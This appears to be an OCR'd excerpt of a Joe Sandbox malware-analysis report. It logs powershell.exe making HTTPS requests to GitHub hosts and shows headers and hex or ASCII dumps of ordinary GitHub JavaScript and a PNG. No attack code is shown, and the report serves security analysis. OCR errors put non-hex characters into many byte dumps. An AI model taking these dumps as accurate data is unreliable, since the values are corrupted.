2c 4c 28 69 29 3b 63 6f 6e 73 74 20 66 3d 69 2e 71 75 65 72 79 53 65 6¢ 65 63 74 6f 72 28 22 73 75 6d 6d 61 72 79 22
29 3b 66 26 26 66 2e 72 65 6d 6f 76 65 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 63 6¢ 69 63 6b 22 2¢ 4f 2¢ 7b 63
6170 74 75 72 65 3a 21 30 7d 29 2c 74 2e 64 65 74 61 69 6¢ 73 3d 6e 75 6¢ 6¢ 7d 74 6f 67 67 6¢ 65 28 74 29 7b 63 6f 6
e 73742069 3d 62 2e 67 65 74 28 74 68 69 73 29 3b 69 66 28 21 69 29 72 65 74 75 72 6e 3b 63 6f 6e 73 74 7b 64 65
746169 6¢ 73 3a 66 7d 3d 69 3b 21 66 7c 7c 41 28 66 2c 74 29 7d 73 74 61 74 69 63 20 67 65 74 20 6f 62 73 65 72 76
6564 41 74 74 72 69 62 75 74 65 73 28 29 7b 72 65 74 75 72 6e 5b 22 73

Data Ascii: rn;i.removeEventListener("toggle",M),L(i);const f=i.querySelector("summary");f&&f.removeEventListener("click
",0,{capture:!0}),t.details=null}toggle(t){const i=b.get(this);if(!i)return;const{details:f}=i;!f| |A(f,t)}static get observedAttri
butes(){return["s

Destination IP SLEUE R Process
Port
185.199.108.133 443 C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Data

GET /flutter?s=64&v=4 HTTP/1.1

Accept: */*

Accept-Language: en-US

UA-CPU: AMD64

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET
CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)

Host: avatars.githubusercontent.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Connection: close

Content-Length: 1439

Cache-Control: max-age=300

Content-Security-Policy: default-src ‘none’

Content-Type: image/png

ETag: "d8bal7d4827802f5cf8fe59b016d58204a75eedbe9522950454434092f1d8al6"
Last-Modified: Mon, 01 Aug 2016 23:05:34 GMT
Strict-Transport-Security: max-age=31557600
timing-allow-origin: https://github.com
X-Content-Type-Options: nosniff

X-Frame-Options: deny

X-XSS-Protection: 1; mode=block

X-GitHub-Request-1d: 7D22:235C:6152C:68A83:625E1AC2
Accept-Ranges: bytes

Date: Wed, 20 Apr 2022 13:07:37 GMT

Via: 1.1 varnish

X-Served-By: cache-mxp6950-MXP

X-Cache: HIT

X-Cache-Hits: 24

X-Timer: S1650460057.378426,VS0,VEO
Access-Control-Allow-Origin: *

X-Fastly-Request-ID: 58f3520f9ccd060600bc7f71756385e677805ced
Expires: Wed, 20 Apr 2022 13:12:37 GMT

Source-Age: 125655

Vary: Authorization,Accept-Encoding

Data Raw: 89 50 4e 47 0d Oa 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 40 00 00 00 40 08 06 00 00 00 aa 69 71 de 00 00
05 66 49 44 41 54 78 9c ec 9b 6d 4c 5b d5 1f ¢7 bf a7 bd 6d 29 ed b6 fO d4 41 c7 d8 7f ff b1 31 05 91 el a2 2e 26 b0 cd
05 65 c1 60 30 c6 44 31 31 33 71 5b 36 9d 2f 7c €7 96 ec 15 21 99 3a 8d c4 17 Oe 13 93 91 38 33 a3 2e ¢3 80 23 2c c2
€212 ¢6 70 08 1d 16 03 81 42 95 2d 94 ca c3 5a 1e 56 5a 73 al 90 da 9d d2 fb 7c 6f 9d 9f 84 37 e5 dc db f3 fb dc 3 fb f6
dc Ob d5 el 21 e7 3f 01 6a 4f 40 6d 18 b5 27 10 cd b6 aa 23 95 d9 fb aa de 10 79 9a a0 e3 f3 d3 a7 26 7a af f7 c¢5 1b a8
29 01 b9 2f 1f 7f b1 e8 dd Of be 06 60 14 71 9a 60 {7 c7 ef 1d e6 52 3c b4 d4 02 8f 1e 7a bf 5a aa e2 07 2e d6 d5 73 3d 40
132b e0f1 77 ce 1c db fe ca db 75 22 4f c¢3 bb 78 68 41

Data Ascii: PNGIHDR@@igfIDATxmL[m)A1.&e'0D113q[6/|!:83.#,pB-ZVZs|07!?j0@m'#y&z)/ q R<zZ.s=@+wu"OxhA

Data Raw: 33 41 f6 47 62 bc ¢9 dd 57 89 cd 4f 88 fe e2 24 7a bf 3f 05 cf 80 6¢ 77 91 ff 1a 34 f3 ¢5 49 b5 78 e8 05 fc 1d 00
00 ff ff ff 06 2c 32 e0 d1 cb 93 00 00 00 00 49 45 4e 44 ae 42 60 82
Data Ascii: 3AGbWO$z?Iw4Ix,2IENDB’

I Destination
Destination IP Process
Port

185.199.108.154 443 C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
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Session ID Source IP
. kBytes
Timestam|
P transferred

2022-04-20 13:07:37 UTC 1304

2022-04-20 13:07:37 UTC 1306

2022-04-20 13:07:37 UTC 1307

2022-04-20 13:07:37 UTC 1308

2022-04-20 13:07:37 UTC 1310

2022-04-20 13:07:37 UTC 1311

Copyright Joe Security LLC 2022

Source Port

Direction

ouT

Destination
Destination IP Process
Port

Data

GET /assets/8932-24fle0ea55c2.js HTTP/1.1

Accept: */*

Accept-Language: en-US

UA-CPU: AMD64

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET
CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)

Host: github.githubassets.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Connection: close

Content-Length: 9538

Access-Control-Allow-Methods: GET

Access-Control-Max-Age: 3600

Cache-Control: public, max-age=31536000

Last-Modified: Wed, 30 Mar 2022 04:02:18 GMT

ETag: "e26b15a1f05a730bc17bdalef99bfe51"

Content-Type: application/javascript

Server: AmazonS3

Via: 1.1 varnish, 1.1 varnish

Accept-Ranges: bytes

Date: Wed, 20 Apr 2022 13:07:37 GMT

Age: 1846928

X-Served-By: cache-iad-kcgs7200164-IAD, cache-mxp6932-MXP
X-Cache: HIT, HIT

X-Cache-Hits: 1, 1

Vary: Origin, Access-Control-Request-Headers, Access-Control-Request-Method, Accept-Encoding
Access-Control-Allow-Origin: *

Strict-Transport-Security: max-age=31536000
X-Fastly-Request-1D: 7d16cbh6246e8448fdb95e7d7ec85e8626891fle4d

Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 28 29 3d 3e 7b 76 61 72 20 48 3d 4f 62 6a 65 63 74 2e 64 65 66
69 6e 65 50 72 6f 70 65 72 74 79 3b 76 61 72 20 6e 3d 28 4d 2c 52 29 3d 3e 48 28 4d 2c 22 6e 61 6d 65 22 2c 7b 76 61
6c 75 65 3a 52 2c 63 6f 6e 66 69 67 75 72 61 62 6¢ 65 3a 21 30 7d 29 3b 28 67 6¢ 6f 62 61 6¢ 54 68 69 73 2e 77 65 62 7
061 63 6b 43 68 75 6e 6b 3d 67 6¢ 6f 62 61 6¢ 54 68 69 73 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 7c 7c 5b 5d 29 2e 70
75 73 68 28 5b 5b 38 39 33 32 5d 2c 7b 36 35 39 33 35 3a 28 4d 2c 52 2c 24 29 3d 3e 7b 24 2e 64 28 52 2¢ 7b 41 43 3a
28 29 3d 3e 45 2c 72 4b 3a 28 29 3d 3e 6b 2c 75 54 3a 28 29 3d 3e 66 7d 29 3b 66 75 6e 63 74 69 6f 6e 20 53 28 73 2c
7229 7b 63 6f 6e 73 74 20 63 3d 73 2e 63 72 65 61 74 65 45 6¢ 65 6d 65

Data Ascii: “use strict";(()=>{var H=Object.defineProperty;var n=(M,R)=>H(M,"name" {value:R,configurable:!0});(global Thi
s.webpackChunk=globalThis.webpackChunk||[]).push([[8932],{65935:(M,R,$)=>{$.d(R {AC:()=>E,rK:()=>k,uT:()=>f});
function S(s,r){const c=s.createEleme

Data Raw: 7b 66 6f 72 28 63 6f 6e 73 74 20 64 20 6f 66 20 76 29 64 28 72 29 7d 29 7d 65 6¢ 73 65 20 72 2e 73 75 62 6d
69 74 28 29 7d 2¢ 61 3d 3e 7b 72 2e 73 75 62 6d 69 74 28 29 2c 73 65 74 54 69 6d 65 6f 75 74 28 28 29 3d 3e 7b 74 68
72 6f 77 20 61 7d 29 7d 29 7d 6e 28 4f 2c 22 68 61 6e 64 6¢ 65 53 75 62 6d 69 74 22 29 3b 61 73 79 6e 63 20 66 75 6e
63 74 69 6f 6e 20 4c 28 73 2¢ 72 2¢ 63 2¢ 62 29 7b 6¢ 65 74 20 68 3d 21 31 3b 66 6f 72 28 63 6f 6e 73 74 20 41 20 6f 66
20 73 29 7b 63 6f 6e 73 74 5b 5f 2c 61 5d 3d 67 28 29 2c 64 3d 6e 28 28 29 3d 3e 28 68 3d 21 30 2c 61 28 29 2c 62 29 2
€ 22 6b 69 63 6b 22 29 2c 77 3d 7b 74 65 78 74 3a 64 2c 6a 73 6f 6e 3a 28 29 3d 3e 28 63 2e 68 65 61 64 65 72 73 2e 73
65 74 28 22 41 63 63 65 70 74 22 2¢ 22 61 70 70 6¢ 69 63 61 74 69

Data Ascii: {for(const d of v)d(r)})}else r.submit()},a=>{r.submit(),setTimeout(()=>{throw a})})}n(O,"handleSubmit");async
function L(s,r,c,b){let h=!1;for(const A of s){const[_,a]=g(),d=n(()=>(h=!0,a(),b),"kick"),w={text:d,json:()=>(c.headers.set("A

ccept”,"applicati

Data Raw: 20 67 3d 6e 65 77 20 57 65 61 6b 4d 61 70 3b 66 75 6e 63 74 69 6f 6e 20 6d 28 65 3d 64 6f 63 75 6d 65 6e 74
29 7b 69 66 28 67 2e 68 61 73 28 65 29 29 72 65 74 75 72 6e 20 67 2e 67 65 74 28 65 29 3b 6¢ 65 74 20 74 3d 21 31 3b
63 6f 6e 73 74 20 6f 3d 6e 65 77 20 4d 75 74 61 74 69 6f 6e 4f 62 73 65 72 76 65 72 28 70 3d 3e 7b 66 6f 72 28 63 6f 6e
73 7420 79 20 6f 66 20 70 29 69 66 28 79 2e 74 79 70 65 3d 3d 3d 22 61 74 74 72 69 62 75 74 65 73 22 26 26 79 2e 74
61 72 67 65 74 20 69 6e 73 74 61 6e 63 65 6f 66 20 45 6¢ 65 6d 65 6e 74 29 6b 28 79 2e 74 61 72 67 65 74 29 3b 65 6¢ 7
36520 69 66 28 79 2e 74 79 70 65 3d 3d 3d 22 63 68 69 6¢ 64 4c 69 73 74 22 26 26 79 2e 61 64 64 65 64 4e 6f 64 65 73
2e 6¢ 65 6e 67 74 68 29 66 6f 72 28 63 6f 6e 73 74 20 43 20 6f 66

Data Ascii: g=new WeakMap;function m(e=document){if(g.has(e))return g.get(e);let t=!1;const o=new MutationObs
erver(p=>{for(const y of p)if(y.type==="attributes"&&y.target instanceof Element)k(y.target);else if(y.type==="childList
"&&y.addedNodes.length)for(const C of

Data Raw: 20 75 20 6f 66 20 65 2e 73 68 61 64 6f 77 52 6f 6f 74 2e 71 75 65 72 79 53 65 6¢ 65 63 74 6f 72 41 6¢ 6¢ 28
605b 64 61 74 61 2d 74 61 72 67 65 74 7e 3d 22 24 7b 6f 7d 2e 24 7b 74 7d 22 5d 60 29 29 69 66 28 21 75 2e 63 6¢ 6f
736573 74 28 6f 2929 72 65 74 75 72 6e 20 75 7d 66 6f 72 28 63 6f 6e 73 74 20 75 20 6f 66 20 65 2e 71 75 65 72 79 53
65 6¢ 65 63 74 6f 72 41 6¢ 6¢ 28 60 5b 64 61 74 61 2d 74 61 72 67 65 74 7e 3d 22 24 7b 6f 7d 2e 24 7b 74 7d 22 5d 60
29 29 69 66 28 75 2e 63 6¢ 6f 73 65 73 74 28 6f 29 3d 3d 3d 65 29 72 65 74 75 72 6e 20 75 7d 6e 28 45 2c 22 66 69 6e 6
454617267 6574 2229 3b 66 75 6e 63 74 69 6f 6e 20 71 28 65 2c 74 29 7b 63 6f 6e 73 74 20 6f 3d 65 2e 74 61 67 4e
61 6d 65 2e 74 6f 4¢c 6f 77 65 72 43 61 73 65 28 29 2c 75 3d 5b 5d

Data Ascii: u of e.shadowRoot.querySelectorAll(‘[data-target~="${o}.${t}"]"))if('u.closest(o))return u}for(const u of e
.querySelectorAll(‘[data-target~="${o}.${t}"]"))if(u.closest(o)===e)return u}n(E,"findTarget");function q(e,t){const o=e
.tagName.toLowerCase(),u=[]
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kBytes

Timestam
P transferred

2022-04-20 13:07:37 UTC 1312

2022-04-20 13:07:37 UTC 1314

2022-04-20 13:07:37 UTC 1315

Session ID Source IP
36 192.168.2.4
. kBytes
Timestam|
p transferred

2022-04-20 13:07:37 UTC 1316

2022-04-20 13:07:37 UTC 1320

2022-04-20 13:07:37 UTC 1321

Copyright Joe Security LLC 2022

Direction

IN

Source Port

49791

Direction

ouT

Data

Data Raw: 28 70 29 7c 7c 22 22 7d 2¢ 73 65 74 28 43 29 7b 74 68 69 73 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 70
2c 43 7c 7¢ 2222 29 7d 7d 3b 74 79 70 65 6f 66 20 75 3d 3d 22 6e 75 6d 62 65 72 22 3f 79 3d 7b 63 6f 6e 66 69 67 75 72
61 62 6¢ 65 3a 21 30 2¢c 67 65 74 28 29 7b 72 65 74 75 72 6e 20 4e 75 6d 62 65 72 28 74 68 69 73 2e 67 65 74 41 74 74
7269 62 7574 6528 70 29 7c 7c 30 29 7d 2¢ 73 65 74 28 43 29 7b 74 68 69 73 2e 73 65 74 41 74 74 72 69 62 75 74 65
2870 2c 43 29 7d 7d 3a 74 79 70 65 6f 66 20 75 3d 3d 22 62 6f 6 6¢ 65 61 6e 22 26 26 28 79 3d 7b 63 6f 6e 66 69 67 75
72 61 62 6¢ 65 3a 21 30 2¢ 67 65 74 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 68 61 73 41 74 74 72 69 62 75 74 65
287029 7d 2c 73 65 74 28 43 29 7b 74 68 69 73 2e 74 6f 67 67 6¢ 65

Data Ascii: (p)||""},set(C){this.setAttribute(p,C]||"")}};typeof u=="number"?y={configurable:!0,get(){return Number(this.
getAttribute(p)||0)},set(C){this.setAttribute(p,C)}}:typeof u=="boolean"&&(y={configurable:!0,get(){return this.hasAttri
bute(p)},set(C){this.toggle

Data Raw: 6e 67 74 68 25 34 29 25 34 29 2c 77 3d 61 2e 72 65 70 6¢ 61 63 65 28 2f 2d 2f 67 2c 22 2b 22 29 2e 72 65 70
6¢c 61 63 65 28 2f 5f 2f 67 2¢ 22 2f 22 29 2b 64 2¢ 65 3d 61 74 6f 62 28 77 29 2c 74 3d 6e 65 77 20 41 72 72 61 79 42 75
66 66 65 72 28 65 2e 6¢ 65 6€ 67 74 68 29 2c 6f 3d 6e 65 77 20 55 69 6e 74 38 41 72 72 61 79 28 74 29 3b 66 6f 72 28
6¢ 65 74 20 75 3d 30 3b 75 3c 65 2e 6¢ 65 6e 67 74 68 3b 75 2b 2b 29 6f 5b 75 5d 3d 65 2e 63 68 61 72 43 6f 64 65 41
74287529 3b 7265747572 6e 20 74 7d 6e 28 53 2¢ 22 62 61 73 65 36 34 75 72 6¢ 54 6f 42 75 66 66 65 72 22 29 3b
66 75 6e 63 74 69 6f 6e 20 54 28 61 29 7b 63 6f 6e 73 74 20 64 3d 6e 65 77 20 55 69 6e 74 38 41 72 72 61 79 28 61 29
3b 6¢ 65 74 20 77 3d 22 22 3b 66 6f 72 28 63 6f 6e 73 74 20 6f 20 6f

Data Ascii: ngth%4)%4),w=a.replace(/-/g,"+").replace(/_/g,"/")+d,e=atob(w),t=new ArrayBuffer(e.length),o=new U
int8Array(t);for(let u=0;u<e.length;u++)o[u]=e.charCodeAt(u);return t}n(S,"base64urlToBuffer");function T(a){const d=new
Uint8Array(a);let w="";for(const o o

Data Raw: 6e 73 65 3a 6¢ 28 7b 63 6¢ 69 65 6e 74 44 61 74 61 4a 53 4f 4e 3a 6¢ 28 67 29 2¢ 61 74 74 65 73 74 61 74 69
6f 6e 4f 62 6a 65 63 74 3a 6¢ 28 67 29 2c 74 72 61 6e 73 70 6 72 74 73 3a 76 28 69 2c 61 3d 3e 7b 76 61 72 20 64 3b 72
6574 75 72 6e 28 28 64 3d 61 2e 67 65 74 54 72 61 6e 73 70 6f 72 74 73 29 3d 3d 6e 75 6c 6¢ 3f 76 6f 69 64 20 30 3a 64
2e 63 61 6¢ 6¢ 28 61 29 29 7c 7c 5b 5d 7d 29 7d 29 2c 63 6¢ 69 65 6e 74 45 78 74 65 6e 73 69 6f 6e 52 65 73 75 6¢ 74
73 3a76 2871 2c 61 3d 3e 61 2e 67 65 74 43 6¢ 69 65 6e 74 45 78 74 65 6e 73 69 6f 6e 52 65 73 75 6¢ 74 73 28 29 29
7d 2c 4c 3d 7b 6d 65 64 69 61 74 69 6f 6e 3a 66 28 69 29 2¢ 70 75 62 6¢ 69 63 4b 65 79 3a 6¢ 28 7b 63 68 61 6¢ 6C 65 6
e 67 65 3a 6¢ 28 67 29 2c 74 69 6d 65 6f 75 74 3a 66 28 69 29 2c

Data Ascii: nse:l({clientDataJSON:I(g),attestationObject:|(g),transports:v(i,a=>{var d;return((d=a.getTransports)==null?void
0:d.call(a))||[1})}),clientExtensionResults:v(q,a=>a.getClientExtensionResults())},L={mediation:f(i),publicKey:|({challenge:|
(9),timeout:f(i),

Destination IP LSRG Process

Port
185.199.108.154 443 C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Data

GET /assets/1717-85e1b724cal0.js HTTP/1.1

Accept: */*

Accept-Language: en-US

UA-CPU: AMD64

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET
CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)

Host: github.githubassets.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Connection: close

Content-Length: 11805

Access-Control-Allow-Methods: GET

Access-Control-Max-Age: 3600

Cache-Control: public, max-age=31536000

Last-Modified: Wed, 30 Mar 2022 04:02:16 GMT

ETag: "c10a633e653979219f85054f44c1266f"

Content-Type: application/javascript

Server: AmazonS3

Via: 1.1 varnish, 1.1 varnish

Accept-Ranges: bytes

Date: Wed, 20 Apr 2022 13:07:37 GMT

Age: 1846928

X-Served-By: cache-iad-kiad7000121-IAD, cache-mxp6947-MXP
X-Cache: HIT, HIT

X-Cache-Hits: 1, 1

Vary: Origin, Access-Control-Request-Headers, Access-Control-Request-Method, Accept-Encoding
Access-Control-Allow-Origin: *

Strict-Transport-Security: max-age=31536000
X-Fastly-Request-ID: 50afb89bce3ae773440f50603e2b218eabcafcec

Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 28 29 3d 3e 7b 76 61 72 20 4b 3d 4f 62 6a 65 63 74 2e 64 65 66
69 6e 65 50 72 6f 70 65 72 74 79 3b 76 61 72 20 69 3d 28 7a 2c 44 29 3d 3e 4b 28 7a 2c 22 6e 61 6d 65 22 2c 7b 76 61
6¢c 75 65 3a 44 2c 63 6f 6e 66 69 67 75 72 61 62 6¢ 65 3a 21 30 7d 29 3b 28 67 6¢ 6f 62 61 6¢ 54 68 69 73 2e 77 6562 7
06163 6b 43 68 75 6e 6b 3d 67 6¢ 6f 62 61 6¢ 54 68 69 73 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 7c 7c 5b 5d 29 2e 70
75 73 68 28 5b 5b 31 37 31 37 5d 2¢ 7b 34 36 32 36 33 3a 28 7a 2c 44 2c 4f 29 3d 3e 7b 4f 2e 64 28 44 2c 7b 44 3a 28
29 3d 3e 61 2¢ 50 3a 28 29 3d 3e 4c 7d 29 3b 66 75 6e 63 74 69 6f 6e 20 4¢c 28 54 2¢ 78 3d 30 2c 7h 73 74 61 72 74 3a
6d 3d 21 30 2c 6d 69 64 64 6¢ 65 3a 67 3d 21 30 2c 6f 6e 63 65 3a 70 3d

Data Ascii: "use strict";(()=>{var K=Object.defineProperty;var i=(z,D)=>K(z,"name" ,{value:D,configurable:!0});(global Thi
s.webpackChunk=globalThis.webpackChunk||[]).push([[1717],{46263:(z,D,0)=>{0.d(D {D:()=>a,P:()=>L});function L(
T,x=0{start:m=!0,middle:g=!0,once:p=
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kBytes

Timestamp transferred Direction
2022-04-20 13:07:37 UTC 1322 IN
2022-04-20 13:07:37 UTC 1323 IN
2022-04-20 13:07:37 UTC 1325 IN
2022-04-20 13:07:37 UTC 1326 IN
2022-04-20 13:07:37 UTC 1327 IN
2022-04-20 13:07:37 UTC 1329 IN
2022-04-20 13:07:37 UTC 1330 IN
2022-04-20 13:07:37 UTC 1331 IN

Copyright Joe Security LLC 2022

Data

Data Raw: 54 28 6d 29 7b 69 66 28 6d 2e 61 63 74 69 76 65 45 6¢ 65 6d 65 6e 74 21 3d 3d 6d 2e 62 6f 64 79 29 72 65 74
7572 6e 20 6d 2e 61 63 74 69 76 65 45 6¢ 65 6d 65 6e 74 3b 76 61 72 20 67 3d 6d 2e 71 75 65 72 79 53 65 6¢ 65 63 74
6f 72 41 6¢ 6¢ 28 22 3a 68 6f 76 65 72 22 29 2c 70 3d 67 2e 6¢ 65 6€ 67 74 68 3b 69 66 28 70 29 72 65 74 75 72 6e 20
67 5b 70 2d 31 5d 7d 69 28 54 2c 22 66 69 6e 64 41 6e 63 68 6f 72 4e 6f 64 65 22 29 3b 66 75 6e 63 74 69 6f 6e 20 78 28
6d 2c 67 2c 70 29 7b 76 61 72 20 45 3d 6d 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 2c 6b 3d 45 2e 64 65 66 61 75 6¢ 7
456 69 65 77 3b 66 75 6e 63 74 69 6f 6e 20 41 28 62 29 7b 72 65 74 75 72 6e 20 62 2e 6f 66 66 73 65 74 50 61 72 65 6e
74 3f 7b 74 6f 70 3a 62 2e 73 63 72 6f 6¢ 6¢ 54 6f 70 2C 6¢C 65 66

Data Ascii: T(m){if(m.activeElement!==m.body)return m.activeElement;var g=m.querySelectorAll(":hover"),p=g.length;if(p)r
eturn g[p-1]}i(T,"findAnchorNode");function x(m,g,p){var E=m.ownerDocument,k=E.defaultView;function A(b){return
b.offsetParent?{top:b.scrollTop,lef

Data Raw: 75 6¢ 6¢ 2c 74 68 69 73 2e 63 68 69 6¢ 64 72 65 6e 3d 7b 7d 2c 74 68 69 73 2e 70 61 72 65 6e 74 3d 73 7c 7c
6e 75 6¢ 6¢ 7d 67 65 74 28 73 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 63 68 69 6¢ 64 72 65 6e 5b 73 5d 7d 69 6e 73
65 7274 28 73 29 7b 6¢ 65 74 20 6e 3d 74 68 69 73 3b 66 6f 72 28 6¢ 65 74 20 75 3d 30 3b 75 3c 73 2e 6¢ 65 6e 67 74
68 3b 75 2b 3d 31 29 7b 63 6f 6e 73 74 20 6¢ 3d 73 5b 75 5d 3b 6¢ 65 74 20 66 3d 6e 2e 67 65 74 28 6¢ 29 3b 69 66 28 7
53d 3d 3d 73 2e 6¢ 65 6e 67 74 68 2d 31 29 72 65 74 75 72 6e 20 66 20 69 6e 73 74 61 6e 63 65 6f 66 20 61 26 26 28
6e 2e 64 65 6¢ 65 74 65 28 66 29 2¢ 66 3d 6e 75 6¢ 6¢ 29 2¢ 66 7c 7c 28 66 3d 6e 65 77 20 4c 28 6e 29 2¢ 6e 2e 63 68
69 6¢ 64 72 65 6e 5b 6¢ 5d 3d 66 29 2¢ 66 3b 66 20 69 6e 73 74 61 6e 63

Data Ascii: ull,this.children={} this.parent=s||null}get(s){return this.children[s]}insert(s){let n=this;for(let u=0;u<s.length;u+
=1){const |=s[u];let f=n.get(l);if(u===s.length-1)return f instanceof a&&(n.delete(f),f=null),f||(f=new L(n),n.children[l]=f),f;f
instanc

Data Raw: 75 73 68 28 70 5b 4d 5d 29 3b 72 65 74 75 72 6e 20 70 2e 69 6e 63 6¢ 75 64 65 73 28 6¢ 29 7c 7c 66 2e 70
75 73 68 28 6¢ 29 2c 66 2e 6a 6f 69 6e 28 22 2b 22 29 7d 69 28 67 2c 22 68 6f 74 6b 65 79 22 29 3b 63 6f 6e 73 74 20 70
3d 5b 22 43 6f 6e 74 72 6f 6¢c 22 2¢ 22 41 6¢ 74 22 2¢ 22 4d 65 74 61 22 2c 22 53 68 69 66 74 22 5d 3b 66 75 6e 63 74
69 6f 6e 20 45 28 72 29 7b 63 6f 6e 73 74 7h 73 68 69 66 74 4b 65 79 3a 73 2c 63 6f 64 65 3a 6e 2c 6b 65 79 3a 75 7d 3d
72 3b 72 65 74 75 72 6e 20 73 26 26 21 28 6e 2e 73 74 61 72 74 73 57 69 74 68 28 22 4b 65 79 22 29 26 26 75 2e 74 6f
5570 70 65 72 43 61 73 65 28 29 3d 3d 3d 75 29 7d 69 28 45 2c 22 73 68 6f 77 53 68 69 66 74 22 29 3b 63 6f 6e 73 74
20 6b 3d 6e 65 77 20 61 2c 41 3d 6e 65 77 20 57 65 61 6b 4d 61 70 3b

Data Ascii: ush(p[M]);return p.includes(l)||f.push(l),f.join("+")}i(g,"hotkey");const p=["Control","Alt","Meta","Shift"];function
E(r){const{shiftkey:s,code:n,key:u}=r;return s&&!(n.startsWith("Key")&&u.toUpperCase()===u)}i(E,"showShift");const
k=new a,A=new WeakMap;

Data Raw: 2e 73 65 74 28 65 2c 7b 73 6f 72 74 53 74 61 72 74 65 64 3a 74 2c 73 6f 72 74 46 69 6e 69 73 68 65 64 3a 6f
7d 29 2c 65 2e 61 64 64 45 76 65 6e 74 4¢c 69 73 74 65 6e 65 72 28 22 64 72 61 67 73 74 61 72 74 22 2¢ 70 29 2c 65 2e
61 64 64 45 76 65 6e 74 4¢c 69 73 74 65 6e 65 72 28 22 64 72 61 67 65 6e 74 65 72 22 2c 45 29 2c 65 2e 61 64 64 45 76
65 6e 74 4c 69 73 74 65 6e 65 72 28 22 64 72 61 67 65 6e 64 22 2c 41 29 2c 65 2e 61 64 64 45 76 65 6e 74 4c 69 73 74
65 6e 65 72 28 22 64 72 6f 70 22 2c 6b 29 2c 65 2e 61 64 64 45 76 65 6e 74 4¢ 69 73 74 65 6e 65 72 28 22 64 72 61 67
6f 76 65 72 22 2¢c 77 29 7d 69 28 78 2c 22 73 6f 72 74 61 62 6¢ 65 22 29 3b 66 75 6e 63 74 69 6f 6e 20 6d 28 65 2¢ 74 29
7b 69 66 28 65 2e 70 61 72 65 6e 74 4e 6f 64 65 3d 3d 3d 74 2e 70 61

Data Ascii: .set(e,{sortStarted:t,sortFinished:o}),e.addEventListener("dragstart”,p),e.addEventListener(“dragenter”,E),e
.addEventListener("dragend”,A),e.addEventListener("drop" k),e.addEventListener(“dragover",w)}i(x,"sortable");function m(
e, t){if(e.parentNode===t.pa

Data Raw: 74 20 69 6e 73 74 61 6e 63 65 6f 66 20 45 6¢ 65 6d 65 6e 74 29 7c 7c 28 61 2e 64 69 64 44 72 6f 70 3d 21 30
2c 21 61 2e 64 72 61 67 67 69 6e 67 2e 70 61 72 65 6e 74 45 6¢ 65 6d 65 6e 74 29 29 72 65 74 75 72 6e 3b 6¢ 65 74 20
6f3d 41 72 72 61 79 2e 66 72 6f 6d 28 61 2e 64 72 61 67 67 69 6e 67 2e 70 61 72 65 6e 74 45 6¢ 65 6d 65 6e 74 2e 63
68 69 6¢ 64 72 65 6e 29 2e 69 6e 64 65 78 4f 66 28 61 2e 64 72 61 67 67 69 6e 67 29 3b 63 6f 6e 73 74 20 64 3d 74 2e 6
3 6¢ 6f 73 65 73 74 28 22 2e 63 6f 6e 74 61 69 6e 73 2d 74 61 73 6b 2d 6¢ 69 73 74 22 29 3b 69 66 28 21 64 7c 7c 61 2e
73 6f 75 72 63 65 49 6e 64 65 78 3d 3d 3d 6f 26 26 61 2e 73 6f 75 72 63 65 4c 69 73 74 3d 3d 3d 64 29 72 65 74 75 72
6e 3b 61 2e 73 6f 75 72 63 65 4c 69 73 74 3d 3d 3d 64 26 26 61 2e 73

Data Ascii: t instanceof Element)||(a.didDrop=!0,!a.dragging.parentElement))return;let o=Array.from(a.dragging.parentEle
ment.children).indexOf(a.dragging);const d=t.closest(".contains-task-list");if(!d||a.sourcelndex===0&&a.sourceList===d)r
eturn;a.sourcelist===d&&a.s

Data Raw: 74 74 72 69 62 75 74 65 28 22 64 69 73 61 62 6¢ 65 64 22 2c 22 22 29 3a 74 68 69 73 2e 72 65 6d 6f 76 65 41
74747269 62 75 74 65 28 22 64 69 73 61 62 6¢ 65 64 22 29 7d 67 65 74 20 73 6f 72 74 61 62 6¢C 65 28 29 7b 72 65 74
7572 6e 20 74 68 69 73 2e 68 61 7341 74 74 72 69 62 75 74 65 28 22 73 6f 72 74 61 62 6¢ 65 22 29 7d 73 65 74 20 73
6f 72 74 61 62 6¢ 65 28 74 29 7b 74 3f 74 68 69 73 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 73 6f 72 74 61 62 6¢C 65
22 2c 222229 3a 746869 73 2e 72 65 6d 6f 76 65 41 74 74 72 69 62 75 74 65 28 22 73 6f 72 74 61 62 6¢ 65 22 29 7d 7
374617469 632067 65 74 20 6f62 73 65 72 76 65 64 41 74 74 72 69 62 75 74 65 73 28 29 7b 72 65 74 75 72 6e 5b
226469 73 61 62 6¢ 65 64 22 5d 7d 61 74 74 72 69 62 75 74 65 43 68

Data Ascii: ttribute("disabled",""):this.removeAttribute("disabled")}get sortable(){return this.hasAttribute(“sortable")}set
sortable(t){t?this.setAttribute("sortable”,""):this.removeAttribute("sortable")}static get observedAttributes(){return["disab
led"]}attributeCh

Data Raw: 75 6e 63 74 69 6f 6e 20 72 28 65 29 7b 63 6f 6e 73 74 20 74 3d 65 2e 63 75 72 72 65 6e 74 54 61 72 67 65 74
